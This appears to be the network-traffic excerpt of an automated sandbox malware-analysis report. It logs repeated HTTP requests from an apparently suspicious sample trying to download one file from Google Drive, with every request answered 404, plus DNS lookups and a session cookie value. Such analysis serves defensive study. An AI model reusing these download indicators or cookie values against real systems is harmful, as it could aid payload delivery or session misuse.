Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTwPpK8b1IEFeWcBtM_0eBX8hjW67ysALGjNpiEgOaf4Sd-FQUXvMMuSLuL1qtMlqblContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:05 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-GV42_E1Q4HqwbFpjWxZNyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU; expires=Sat, 12-Jul-2025 14:39:05 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQdeXmSp-9MKnLMvfT1s59gCYGFB0f3Fwqm-wjLqfzQLbnvgzorc74mQ0yQ45f78GkykQPKaaIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:07 GMTContent-Security-Policy: script-src 'nonce-9kCbDWdbZ-iRhnrYLz6QJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSqR202vsYFlGUT8F_e2rBkXD6pCvy7vEZ-FupVek8K6laBLp2o9oUT5YTNFdw5_dvZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:09 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-4gXEqPwkoSbsn-y4SjUKsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSQlDxdwPPpnQe-m8d8HRWbvK1dV1T7h1JhMpVi234qKnTMI9rM9JLWlbh33qrady4TsoACAuUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:11 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-SUloJBdq08Wmxnct-C8ckg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRTwu84u5Ut8GDTXXUUBlel7w7BRgvm1PuGo450eWbm3bRrtTwyn_DAiC-ziLTv6sECContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:14 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-kIfC2fgDuGA5Ah0OYsRs0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgR8F2yw_7PkrsHvGToRrzvC0tPnOg1bpkxDRE_ZfI6h1XXqaiGqJsROg4P-OAu8v2VrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:16 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-HFAAB58pqtatZqrZF6aAZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6jDpoRhB22UYIVkvBabWEXrunev6AKw4RVe3hNHklu9apobvC08KYe9zCNwMp2ROhdYlGwrnoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:18 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-qvB0efGXTjX0_JNoLP4AWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5_fc1ipyVIv6tpaZPwVC0iEOmAWExlV7j6f3CkakvZUD_I6rjRiHABRTHImHShlfRIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:20 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-JLxsTBT3zNKdTnhFbOvnXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRuAENb4Xc5vjZb_gZTGp5BHMRdfak_SUIp7LWcCMnZ1-7ssk5nzrlIim4E_FHp6j9zyIEQeLAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:23 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-2UuSLVTw0_P940hhDbxR1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6dil4cMFJrtfkmnuuz09E-0PjXegF0f1dgqZfhFEa10L6SnhfFcq9XsEjVdY95bndjSU1gVhMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:25 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-ejuoyyGMeroZSQIu0Rdrgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQyw8c0aB7IKG6fgmoi4mLTn6dLoR_190lO2KpaABfwgYJ2YVEvVovcC5Dwg-GikJMaFgwrIfcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:28 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-Mabm5OnitgiM2uhjC9aruQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
